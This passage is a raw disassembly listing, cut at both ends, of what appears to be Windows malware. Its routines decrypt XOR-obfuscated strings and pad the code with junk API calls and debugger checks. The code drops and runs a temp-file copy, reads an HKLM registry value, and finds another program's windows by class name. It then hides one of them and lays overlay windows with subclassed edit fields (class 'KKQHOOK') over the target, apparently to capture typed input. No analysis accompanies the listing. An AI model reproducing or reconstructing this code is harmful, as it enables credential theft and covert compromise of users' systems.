dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 74h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C794 ; GetProcessHeap lea edi, [ebp+var_68] lea esi, a@8wz ; " @8WZ" mov ecx, 3 rep movsw call sub_40C7D0 ; GetVersion mov eax, dword_44651A mov [ebp+var_6C], eax mov eax, [ebp+arg_4] add eax, 40h jge short loc_4087B3 add eax, 3Fh loc_4087B3: ; CODE XREF: sub_408779+35j sar eax, 6 mov edi, eax shl edi, 6 push edi call sub_40864E pop ecx mov [ebp+var_18], eax mov [ebp+var_22], 7A30h sub [ebp+var_22], 748Fh mov eax, [ebp+arg_4] add eax, 40h jge short loc_4087DC add eax, 3Fh loc_4087DC: ; CODE XREF: sub_408779+5Ej sar eax, 6 mov edi, eax shl edi, 6 push edi push [ebp+var_18] call sub_40C8C0 ; RtlZeroMemory lea edi, [ebp+var_6F] lea esi, word_44651E mov ecx, 3 rep movsb push [ebp+arg_4] push ebx push [ebp+var_18] call sub_40CC14 add esp, 0Ch mov [ebp+var_1C], 2FF0h mov eax, [ebp+var_1C] mov edx, eax add edx, eax mov [ebp+var_1C], edx lea eax, [ebp+var_14] push eax call sub_40BDBE mov ebx, [ebp+var_18] and [ebp+var_4], 0 jmp short loc_408849 ; --------------------------------------------------------------------------- loc_40882F: ; CODE XREF: sub_408779+E1j mov ax, word_446521 mov [ebp+var_71], ax push ebx lea eax, [ebp+var_14] push eax call sub_40BDE5 add ebx, 40h inc [ebp+var_4] loc_408849: ; CODE XREF: sub_408779+B4j mov eax, [ebp+arg_4] add eax, 40h jge short loc_408854 add eax, 3Fh loc_408854: ; CODE XREF: sub_408779+D6j sar eax, 6 cmp [ebp+var_4], eax jl short loc_40882F push [ebp+var_18] call sub_40867D mov [ebp+var_20], 2FAh mov eax, [ebp+var_20] mov edx, eax add edx, eax mov [ebp+var_20], edx lea eax, [ebp+var_62] push eax push [ebp+arg_8] call sub_408741 mov eax, dword_44650C add eax, 2 push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_62] push eax call sub_40CC08 add esp, 18h or eax, eax jz short loc_4088A3 xor eax, eax inc eax jmp short loc_4088AA ; --------------------------------------------------------------------------- loc_4088A3: ; CODE XREF: sub_408779+123j call sub_40C854 ; IsDebuggerPresent xor eax, eax loc_4088AA: ; CODE XREF: sub_408779+128j pop edi pop esi pop ebx leave retn sub_408779 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_44652C lea eax, ds:439560h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-4], 2A0h xor edi, edi jmp short loc_4088F5 ; --------------------------------------------------------------------------- loc_4088DE: ; CODE XREF: .text:004088F7j mov eax, dword_44652C add eax, edi lea eax, ds:439560h[eax] movsx edx, byte ptr [eax] xor edx, 1Bh mov [eax], dl inc edi loc_4088F5: ; CODE XREF: .text:004088DCj cmp edi, esi jl short loc_4088DE mov dword ptr [ebp-8], 29Ch mov eax, dword_44652C add eax, esi mov byte ptr ds:dword_439560[eax], 0 mov edi, dword_44652C mov eax, edi inc eax add eax, esi mov dword_44652C, eax cmp eax, 0DDFh jle short loc_40892D and dword_44652C, 0 loc_40892D: ; CODE XREF: .text:00408924j mov dword ptr [ebp-0Ch], 0D8h lea eax, dword_439560[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40893E proc near ; CODE XREF: sub_4098A8+413p ; sub_4098A8+42Bp var_35 = byte ptr -35h var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_25 = byte ptr -25h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1B = byte ptr -1Bh var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi call sub_40C7D0 ; GetVersion lea edi, [ebp+var_1B] lea esi, aVlvh__0 ; "vlVh_" mov ecx, 3 rep movsw xor eax, eax mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_8] add eax, [ebp+var_8] mov [ebp+var_C], eax mov ebx, [ebp+arg_0] jmp loc_408A7F ; --------------------------------------------------------------------------- loc_40897F: ; CODE XREF: sub_40893E+14Cj lea edi, [ebp+var_20] lea esi, aHu ; ": hu" mov ecx, 5 rep movsb movsx edi, byte ptr [ebx] shl edi, 2 mov edi, dword_446538[edi] mov [ebp+var_4], edi call sub_40C764 ; RtlGetLastWin32Error cmp edi, 0FFFFFFFFh jz loc_408A7E call sub_40C740 ; GetCurrentThreadId mov eax, [ebp+var_10] or eax, eax jl loc_408A78 cmp eax, 3 jg loc_408A78 jmp off_446948[eax*4] ; --------------------------------------------------------------------------- mov [ebp+var_25], 38h sub [ebp+var_25], 0BCh loc_4089D5: ; CODE XREF: sub_40893E+88j ; DATA XREF: .data:off_446948o inc [ebp+var_10] lea edi, [ebp+var_34] lea esi, a1bOt ; "/1~oT:" movsd movsd jmp loc_408A78 ; --------------------------------------------------------------------------- loc_4089E8: ; CODE XREF: sub_40893E+88j ; DATA XREF: .data:0044694Co mov edi, [ebp+var_14] shl edi, 2 mov esi, [ebp+var_4] and esi, 30h sar esi, 4 or edi, esi mov edx, edi mov [ebp+var_15], dl call sub_40C764 ; RtlGetLastWin32Error mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_15] mov [eax], dl inc [ebp+var_10] jmp short loc_408A78 ; --------------------------------------------------------------------------- loc_408A13: ; CODE XREF: sub_40893E+88j ; DATA XREF: .data:00446950o mov edi, [ebp+var_14] and edi, 0Fh shl edi, 4 mov esi, [ebp+var_4] and esi, 3Ch sar esi, 2 or edi, esi mov edx, edi mov [ebp+var_15], dl lea edi, [ebp+var_35] lea esi, byte_446945 xor ecx, ecx inc ecx rep movsb mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_15] mov [eax], dl inc [ebp+var_10] jmp short loc_408A78 ; --------------------------------------------------------------------------- loc_408A4A: ; CODE XREF: sub_40893E+88j ; DATA XREF: .data:00446954o mov edi, [ebp+var_14] and edi, 3 shl edi, 6 or edi, [ebp+var_4] mov edx, edi mov [ebp+var_15], dl mov [ebp+var_2C], 6257h add [ebp+var_2C], 0D1Fh mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_15] mov [eax], dl and [ebp+var_10], 0 loc_408A78: ; CODE XREF: sub_40893E+79j ; sub_40893E+82j ... mov eax, [ebp+var_4] mov [ebp+var_14], eax loc_408A7E: ; CODE XREF: sub_40893E+69j inc ebx loc_408A7F: ; CODE XREF: sub_40893E+3Cj cmp byte ptr [ebx], 0 jz short loc_408A90 mov eax, [ebp+var_C] cmp [ebp+var_8], eax jb loc_40897F loc_408A90: ; CODE XREF: sub_40893E+144j cmp byte ptr [ebx], 0 jnz short loc_408AB1 mov [ebp+var_1E], 214Eh movzx eax, [ebp+var_1E] imul eax, 7B26h mov [ebp+var_1E], ax mov eax, [ebp+var_8] sub eax, [ebp+arg_4] jmp short loc_408AB4 ; --------------------------------------------------------------------------- loc_408AB1: ; CODE XREF: sub_40893E+155j or eax, 0FFFFFFFFh loc_408AB4: ; CODE XREF: sub_40893E+171j pop edi pop esi pop ebx leave retn sub_40893E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408AB9 proc near ; CODE XREF: sub_408B4C+88p ; sub_408B4C+E4p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_446960 lea eax, ds:413F30h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_4], 278h xor edi, edi jmp short loc_408B02 ; --------------------------------------------------------------------------- loc_408AE8: ; CODE XREF: sub_408AB9+4Bj mov eax, dword_446960 add eax, edi lea eax, ds:413F30h[eax] movsx edx, byte ptr [eax] xor edx, 9Ah mov [eax], dl inc edi loc_408B02: ; CODE XREF: sub_408AB9+2Dj cmp edi, esi jl short loc_408AE8 mov [ebp+var_8], 2C7h mov eax, dword_446960 add eax, esi mov byte ptr ds:dword_413F30[eax], 0 mov edi, dword_446960 mov eax, edi lea eax, [eax+esi+6] mov dword_446960, eax cmp eax, 0DB8h jle short loc_408B3B and dword_446960, 0 loc_408B3B: ; CODE XREF: sub_408AB9+79j mov [ebp+var_C], 2EEh lea eax, dword_413F30[edi] pop edi pop esi leave retn sub_408AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B4C proc near ; CODE XREF: sub_4098A8:loc_40A8A0p var_38C = dword ptr -38Ch var_388 = dword ptr -388h var_383 = dword ptr -383h var_37F = byte ptr -37Fh var_378 = byte ptr -378h var_372 = word ptr -372h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_365 = byte ptr -365h var_261 = dword ptr -261h var_25D = dword ptr -25Dh var_251 = byte ptr -251h var_250 = byte ptr -250h var_24F = byte ptr -24Fh var_24E = byte ptr -24Eh var_14A = word ptr -14Ah var_148 = dword ptr -148h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi call sub_40C854 ; IsDebuggerPresent mov eax, dword_446964 mov [ebp+var_370], eax call sub_40C740 ; GetCurrentThreadId lea eax, [ebp+var_104] push eax push 104h call sub_40C7B8 ; GetTempPathA mov [ebp+var_14A], 21A4h movzx eax, [ebp+var_14A] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_14A], ax lea ecx, [ebp+var_104] or eax, 0FFFFFFFFh loc_408BA4: ; CODE XREF: sub_408B4C+5Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_408BA4 mov edi, eax mov esi, dword_446958 add esi, 1 push esi lea esi, [ebp+var_104] add esi, edi push esi call sub_40172F add esp, 8 call sub_40C854 ; IsDebuggerPresent push 4 push offset dword_446E74 call sub_408AB9 add esp, 8 push eax lea edi, [ebp+var_104] push edi call sub_40CC74 add esp, 8 push 0 lea eax, [ebp+var_104] push eax push offset dword_41E8D0 call sub_40C86C ; CopyFileA call sub_40C764 ; RtlGetLastWin32Error mov ax, word_446968 mov [ebp+var_372], ax mov [ebp+var_36C], 104h mov [ebp+var_24F], 22h sub [ebp+var_24F], 0CDh push 21h push offset word_446E52 call sub_408AB9 add esp, 8 mov [ebp+var_388], eax push 4 push offset byte_446E4D call sub_408AB9 add esp, 8 lea edi, [ebp+var_378] push edi lea edi, [ebp+var_36C] push edi lea edi, [ebp+var_365] push edi push eax mov edi, [ebp+var_388] push [ebp+var_388] push 80000002h call sub_4014C9 add esp, 18h mov ebx, eax call sub_40C854 ; IsDebuggerPresent cmp ebx, 0 jz loc_408E0D call sub_40C794 ; GetProcessHeap lea edi, [ebp+var_37F] lea esi, a99a_0 ; "-; 99a" mov ecx, 7 rep movsb push 104h lea eax, [ebp+var_24E] push eax lea eax, [ebp+var_365] push eax call sub_40C71C ; ExpandEnvironmentStringsA call sub_40C7D0 ; GetVersion push 0Eh push offset word_446E3E call sub_408AB9 push eax lea edi, [ebp+var_24E] push edi call sub_40CC74 call sub_40C7C4 ; GetTickCount lea eax, [ebp+var_104] push eax lea eax, [ebp+var_24E] push eax call sub_40CC74 call sub_40C764 ; RtlGetLastWin32Error call sub_4043CA mov ebx, eax mov eax, dword_446971 mov [ebp+var_383], eax push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CC20 push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CC20 add esp, 30h mov [ebp+var_250], 69h add [ebp+var_250], 1 mov [ebp+var_148], 44h mov [ebp+var_251], 19h movzx eax, [ebp+var_251] imul eax, 1598h mov [ebp+var_251], al mov [ebp+var_11C], 1 mov [ebp+var_118], 1 or ebx, ebx jz short loc_408D84 lea eax, [ebp+var_148] push eax call sub_40446E pop ecx jmp short loc_408D8D ; --------------------------------------------------------------------------- loc_408D84: ; CODE XREF: sub_408B4C+227j mov [ebp+var_118], 0 loc_408D8D: ; CODE XREF: sub_408B4C+236j lea eax, [ebp+var_261] push eax lea eax, [ebp+var_148] push eax push 0 push 0 push 20h push 0 push 0 push 0 lea eax, [ebp+var_24E] push eax push 0 call sub_40C974 ; CreateProcessA or eax, eax jz short loc_408E01 call sub_40C734 ; GetCurrentProcessId push [ebp+var_25D] call sub_40C7AC ; CloseHandle mov eax, dword_446975 mov [ebp+var_38C], eax push 0EA60h call sub_40CBD8 pop ecx call sub_40C854 ; IsDebuggerPresent push 0 push [ebp+var_261] call sub_40C8FC ; TerminateProcess push [ebp+var_261] call sub_40C7AC ; CloseHandle call sub_40C740 ; GetCurrentThreadId loc_408E01: ; CODE XREF: sub_408B4C+26Bj lea eax, [ebp+var_104] push eax call sub_40C704 ; DeleteFileA loc_408E0D: ; CODE XREF: sub_408B4C+13Aj pop edi pop esi pop ebx leave retn sub_408B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E12 proc near ; CODE XREF: sub_408ED0+2Cp ; sub_408ED0+46p ... var_1018 = byte ptr -1018h var_1011 = byte ptr -1011h var_1009 = byte ptr -1009h var_1001 = byte ptr -1001h var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_40C6B8 push ebx push esi push edi lea edi, [ebp+var_1009] lea esi, asc_446979 ; ";'*l & " movsd movsd push 5 push [ebp+arg_0] call sub_40C9BC ; GetWindow mov ebx, eax loc_408E3C: ; CODE XREF: sub_408E12+B4j or ebx, ebx jnz short loc_408E47 xor eax, eax jmp loc_408ECB ; --------------------------------------------------------------------------- loc_408E47: ; CODE XREF: sub_408E12+2Cj mov [ebp+var_2], 6C09h movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax push 0FFFh lea eax, [ebp+var_1001] push eax push ebx call sub_40C9C8 ; GetClassNameA lea edi, [ebp+var_1011] lea esi, aHjvmnia ; "hJVmnIA" movsd movsd mov eax, 13h sub eax, dword_43C098 push eax push [ebp+arg_4] lea eax, [ebp+var_1001] push eax call sub_40181A add esp, 0Ch cmp eax, 0FFFFh jz short loc_408EA4 mov eax, ebx jmp short loc_408ECB ; --------------------------------------------------------------------------- loc_408EA4: ; CODE XREF: sub_408E12+8Cj call sub_40C734 ; GetCurrentProcessId push 2 push ebx call sub_40C9BC ; GetWindow mov ebx, eax lea edi, [ebp+var_1018] lea esi, aP_rX ; "p+_R'X" mov ecx, 7 rep movsb jmp loc_408E3C ; --------------------------------------------------------------------------- loc_408ECB: ; CODE XREF: sub_408E12+30j ; sub_408E12+90j pop edi pop esi pop ebx leave retn sub_408E12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408ED0 proc near ; CODE XREF: sub_40B3E8+1D6p var_184 = dword ptr -184h var_180 = dword ptr -180h var_179 = byte ptr -179h var_178 = dword ptr -178h var_172 = byte ptr -172h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_163 = byte ptr -163h var_15D = byte ptr -15Dh var_158 = byte ptr -158h var_150 = dword ptr -150h var_14C = byte ptr -14Ch var_146 = byte ptr -146h var_143 = byte ptr -143h var_13B = byte ptr -13Bh var_138 = byte ptr -138h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_126 = word ptr -126h var_124 = dword ptr -124h var_120 = dword ptr -120h var_119 = byte ptr -119h var_118 = word ptr -118h var_116 = word ptr -116h var_114 = word ptr -114h var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = dword ptr -10Ah var_106 = dword ptr -106h var_102 = byte ptr -102h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 184h push ebx push esi push edi mov [ebp+var_118], 37B0h inc [ebp+var_118] push 9 push offset aRIA ; "»·›¶¾±· " call sub_40129C push eax push [ebp+arg_0] call sub_408E12 mov ebx, eax call sub_40C734 ; GetCurrentProcessId push 8 push offset aSmdJJ ; "‘¬¤¸»¦±¦" call sub_40129C push eax push ebx call sub_408E12 mov ds:dword_41D89C, eax mov [ebp+var_114], 6B90h movzx eax, [ebp+var_114] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_114], ax push 0 push ds:dword_41D89C call sub_40CAAC ; ShowWindow call sub_40C7C4 ; GetTickCount lea eax, [ebp+var_112] push eax push ebx call sub_40C9A4 ; GetWindowRect mov [ebp+var_119], 0EFh add [ebp+var_119], 0D4h push 0 push ds:dword_41E8CC push 0 push ebx mov eax, [ebp+var_106] sub eax, [ebp+var_10E] push eax mov eax, [ebp+var_10A] sub eax, [ebp+var_112] push eax push 0 push 0 push 50800000h push offset byte_447529 push offset aKkqhook ; "KKQHOOK" push 200h call sub_40CAB8 ; CreateWindowExA mov ds:dword_41FB04, eax lea edi, [ebp+var_138] lea esi, aFxTE ; "fX $t!E" movsd movsd push 6 push offset aZaxaac ; "‡€•€—" call sub_40129C mov [ebp+var_168], eax push 19h push offset byte_446E01 call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C098 mov esi, edi add esi, 2Ah push esi mov esi, [ebp+var_10A] sub esi, [ebp+var_112] sub esi, 64h push esi add edi, 2 push edi push edi push 50800000h push eax mov edi, [ebp+var_168] push edi push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_41D898, eax call sub_40C794 ; GetProcessHeap push 6 push offset aZaxaac ; "‡€•€—" call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C098 add edi, 11Ah push edi mov edi, [ebp+var_10A] sub edi, [ebp+var_112] sub edi, 64h push edi mov edi, dword_43C098 add edi, 3Fh push edi mov edi, dword_43C098 add edi, 2 push edi push 50800009h push offset byte_447529 push eax push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_430C28, eax call sub_40C740 ; GetCurrentThreadId push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 2BCh push 0 push 0 mov eax, dword_43C098 mov edx, 1Ah sub edx, eax push edx mov eax, dword_43C098 add eax, 2 push eax call sub_40CB18 ; CreateFontA mov [ebp+var_130], eax lea edi, [ebp+var_13B] lea esi, aQa ; "qA" mov ecx, 3 rep movsb push 1 push [ebp+var_130] push 30h push ds:dword_41D898 call sub_40CA88 ; SendMessageA push 8 push offset aCiscicim ; "—›™–›–›Œ" call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_430C28 mov edi, dword_43C098 add edi, 11Ah push edi mov edi, dword_43C098 add edi, 20h push edi mov edi, dword_43C098 add edi, 28h push edi mov edi, dword_43C098 add edi, 2 push edi push 50800003h push offset byte_447529 push eax push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_432DC0, eax push 8 push offset aCiscicim ; "—›™–›–›Œ" call sub_40129C add esp, 48h push 0 push ds:dword_41E8CC push 0 push ds:dword_430C28 mov edi, dword_43C098 add edi, 11Ah push edi mov edi, dword_43C098 add edi, 2Ah push edi mov edi, dword_43C098 add edi, 28h push edi mov edi, dword_43C094 add edi, 4Dh push edi push 50800003h push offset byte_447529 push eax push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_41E8C4, eax mov [ebp+var_116], 5444h movzx eax, [ebp+var_116] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_116], ax mov [ebp+var_2], 1 jmp loc_409299 ; --------------------------------------------------------------------------- loc_4091E0: ; CODE XREF: sub_408ED0+3D0j call sub_40C854 ; IsDebuggerPresent lea edi, [ebp+var_179] lea esi, byte_44699B xor ecx, ecx inc ecx rep movsb push 4 push offset byte_446DF3 call sub_40129C movzx edi, [ebp+var_2] push edi push eax lea edi, [ebp+var_172] push edi call sub_40CC50 mov [ebp+var_178], 269Fh mov eax, 5D57h mul [ebp+var_178] mov [ebp+var_180], eax mov [ebp+var_178], eax lea eax, [ebp+var_172] push eax push 0 push 143h push ds:dword_432DC0 call sub_40CA88 ; SendMessageA push 6 push offset dword_446DEC call sub_40129C movzx edi, [ebp+var_2] add edi, 4 push edi push eax lea edi, [ebp+var_172] push edi call sub_40CC50 add esp, 28h call sub_40C7D0 ; GetVersion lea eax, [ebp+var_172] push eax push 0 push 143h push ds:dword_41E8C4 call sub_40CA88 ; SendMessageA call sub_40C740 ; GetCurrentThreadId inc [ebp+var_2] loc_409299: ; CODE XREF: sub_408ED0+30Bj movzx eax, [ebp+var_2] cmp eax, 0Dh jl loc_4091E0 push 6 push offset aZaxaac ; "‡€•€—" call sub_40129C mov [ebp+var_16C], eax push 10h push offset byte_446DDB call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C098 mov esi, 22h sub esi, edi push esi mov edi, dword_43C098 add edi, 55h push edi mov edi, dword_43C098 add edi, 5Ch push edi mov edi, dword_43C098 add edi, 0B1h push edi push 50000000h push eax mov edi, [ebp+var_16C] push edi push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_413F20, eax push 6 push offset aZaxaac ; "‡€•€—" call sub_40129C mov [ebp+var_170], eax push 0Fh push offset byte_446DCB call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C094 add edi, 0Bh push edi mov edi, dword_43C098 add edi, 45h push edi mov edi, dword_43C098 add edi, 7Fh push edi mov edi, dword_43C094 add edi, 0BEh push edi push 50000000h push eax mov edi, [ebp+var_170] push edi push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_432DB8, eax push 6 push offset aZaxaac ; "‡€•€—" call sub_40129C mov [ebp-174h], eax push 0Ch push offset word_446DBE call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C094 add edi, 0Bh push edi mov edi, dword_43C098 add edi, 44h push edi mov edi, dword_43C098 add edi, 0A7h push edi mov edi, dword_43C098 add edi, 0B1h push edi push 50000000h push eax mov edi, [ebp-174h] push edi push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_4351D8, eax push 6 push offset aZaxaac ; "‡€•€—" call sub_40129C mov [ebp+var_178], eax push 4Ah push offset byte_446D73 call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C098 mov esi, 22h sub esi, edi push esi mov edi, dword_43C098 add edi, 1D2h push edi mov edi, dword_43C098 add edi, 0D4h push edi mov edi, dword_43C094 add edi, 19h push edi push 50000000h push eax mov edi, [ebp+var_178] push edi push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_432DBC, eax push 6 push offset aZaxaac ; "‡€•€—" call sub_40129C mov [ebp-17Ch], eax push 26h push offset dword_446D4C call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C094 add edi, 0Bh push edi mov edi, dword_43C098 add edi, 0EBh push edi mov edi, dword_43C094 add edi, 0FAh push edi mov edi, dword_43C098 add edi, 0Ch push edi push 50000000h push eax mov edi, [ebp-17Ch] push edi push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_43A558, eax push offset byte_433FE0 lea eax, [ebp+var_102] push eax call sub_40CC50 add esp, 58h lea edi, [ebp+var_143] lea esi, aZ_y9am4 ; "z.y9aM4" movsd movsd mov [ebp+var_3], 4 jmp short loc_409529 ; --------------------------------------------------------------------------- loc_409519: ; CODE XREF: sub_408ED0+65Ej movzx eax, [ebp+var_3] mov [ebp+eax+var_102], 78h add [ebp+var_3], 1 loc_409529: ; CODE XREF: sub_408ED0+647j mov al, [ebp+var_3] cmp al, 0Ch jb short loc_409519 call sub_40C854 ; IsDebuggerPresent push 4 push offset aSraa ; "‘€" call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_430C28 mov edi, dword_43C098 mov esi, edi add esi, 6 push esi mov esi, edi add esi, 70h push esi add edi, 2 push edi push edi push 50800800h lea edi, [ebp+var_102] push edi push eax push 200h call sub_40CAB8 ; CreateWindowExA mov ds:dword_41081C, eax mov [ebp+var_120], 70h mov eax, 829h mul [ebp+var_120] mov [ebp+var_180], eax mov [ebp+var_120], eax push 4 push offset aSraa ; "‘€" call sub_40129C push 0 push ds:dword_41E8CC push 0 push ds:dword_430C28 mov edi, dword_43C098 add edi, 6 push edi mov edi, dword_43C094 add edi, 41h push edi mov edi, dword_43C098 add edi, 4Dh push edi mov edi, dword_43C098 add edi, 2 push edi push 50800000h push offset byte_447529 push eax push 200h call sub_40CAB8 ; CreateWindowExA mov ds:dword_41E8BC, eax lea edi, [ebp+var_146] lea esi, a3h ; "3h" mov ecx, 3 rep movsb push 0 push 78h push 0CCh push ds:dword_41E8BC call sub_40CA88 ; SendMessageA call sub_40C734 ; GetCurrentProcessId push 6 push offset aCbaai ; "–€€›š" call sub_40129C mov [ebp+var_184], eax push 16h push offset byte_446D29 call sub_40129C add esp, 20h push 0 push ds:dword_41E8CC push 0 push ds:dword_41FB04 mov edi, dword_43C098 add edi, 5 push edi mov edi, dword_43C094 add edi, 96h push edi mov edi, dword_43C098 add edi, 12Eh push edi mov edi, dword_43C098 add edi, 0Ch push edi push 50800000h push eax mov edi, [ebp+var_184] push edi push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_4351DC, eax push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 190h push 0 push 0 mov eax, dword_43C094 inc eax push eax mov eax, 22h sub eax, dword_43C098 push eax call sub_40CB18 ; CreateFontA mov ebx, eax call sub_40C7D0 ; GetVersion push 1 push ebx push 30h push ds:dword_432DC0 call sub_40CA88 ; SendMessageA lea edi, [ebp+var_14C] lea esi, aOi6 ; " oi%6" mov ecx, 3 rep movsw push 1 push ebx push 30h push ds:dword_41E8C4 call sub_40CA88 ; SendMessageA mov eax, dword_4469AD mov [ebp+var_150], eax push 1 push ebx push 30h push ds:dword_41081C call sub_40CA88 ; SendMessageA lea edi, [ebp+var_158] lea esi, a@gduN ; "@GDu N!" mov ecx, 2 rep movsd push 1 push ebx push 30h push ds:dword_41E8BC call sub_40CA88 ; SendMessageA mov [ebp+var_124], 2D6Ah inc [ebp+var_124] push 1 push ebx push 30h push ds:dword_432DB8 call sub_40CA88 ; SendMessageA call sub_40C764 ; RtlGetLastWin32Error push 1 push ebx push 30h push ds:dword_413F20 call sub_40CA88 ; SendMessageA lea edi, [ebp+var_15D] lea esi, aG_ ; "G!_`" mov ecx, 5 rep movsb push 1 push ebx push 30h push ds:dword_4351D8 call sub_40CA88 ; SendMessageA call sub_40C734 ; GetCurrentProcessId push 1 push ebx push 30h push ds:dword_4351DC call sub_40CA88 ; SendMessageA call sub_40C854 ; IsDebuggerPresent push 0FFFFFFFCh push ds:dword_432DC0 call sub_40CA28 ; GetWindowLongA mov ds:dword_41F9F4, eax mov [ebp+var_126], 1283h inc [ebp+var_126] push offset sub_40B2CA push 0FFFFFFFCh push ds:dword_432DC0 call sub_40CA34 ; SetWindowLongA lea edi, [ebp+var_163] lea esi, word_4469BE mov ecx, 3 rep movsw push 0FFFFFFFCh push ds:dword_41E8C4 call sub_40CA28 ; GetWindowLongA mov ds:dword_41E8C0, eax push offset sub_40B2CA push 0FFFFFFFCh push ds:dword_41E8C4 call sub_40CA34 ; SetWindowLongA call sub_40C794 ; GetProcessHeap push 0FFFFFFFCh push ds:dword_41081C call sub_40CA28 ; GetWindowLongA mov ds:dword_40E078, eax mov [ebp+var_12C], 373Eh inc [ebp+var_12C] push offset sub_40B2CA push 0FFFFFFFCh push ds:dword_41081C call sub_40CA34 ; SetWindowLongA push 0FFFFFFFCh push ds:dword_41E8BC call sub_40CA28 ; GetWindowLongA mov ds:dword_413F1C, eax call sub_40C854 ; IsDebuggerPresent push offset sub_40B2CA push 0FFFFFFFCh push ds:dword_41E8BC call sub_40CA34 ; SetWindowLongA call sub_40C764 ; RtlGetLastWin32Error push ds:dword_432DC0 call sub_40C9D4 ; SetFocus pop edi pop esi pop ebx leave retn sub_408ED0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4098A8 proc near ; DATA XREF: sub_40AA24+80Fo var_5614 = dword ptr -5614h var_5610 = dword ptr -5610h var_5609 = byte ptr -5609h var_5602 = word ptr -5602h var_5600 = dword ptr -5600h var_55FA = byte ptr -55FAh var_55F9 = byte ptr -55F9h var_55F8 = dword ptr -55F8h var_55F4 = dword ptr -55F4h var_55F0 = dword ptr -55F0h var_55EC = byte ptr -55ECh var_55EA = dword ptr -55EAh var_55E6 = dword ptr -55E6h var_55E1 = byte ptr -55E1h var_55DC = dword ptr -55DCh var_55D6 = byte ptr -55D6h var_472D = byte ptr -472Dh var_472C = byte ptr -472Ch var_4724 = byte ptr -4724h var_471F = byte ptr -471Fh var_4718 = dword ptr -4718h var_4714 = byte ptr -4714h var_470C = dword ptr -470Ch var_4708 = dword ptr -4708h var_4702 = byte ptr -4702h var_4701 = byte ptr -4701h var_4700 = word ptr -4700h var_46FE = word ptr -46FEh var_46FC = dword ptr -46FCh var_46F5 = byte ptr -46F5h var_46F4 = byte ptr -46F4h var_46F0 = dword ptr -46F0h var_46EC = dword ptr -46ECh var_46E6 = word ptr -46E6h var_46E4 = dword ptr -46E4h var_46E0 = dword 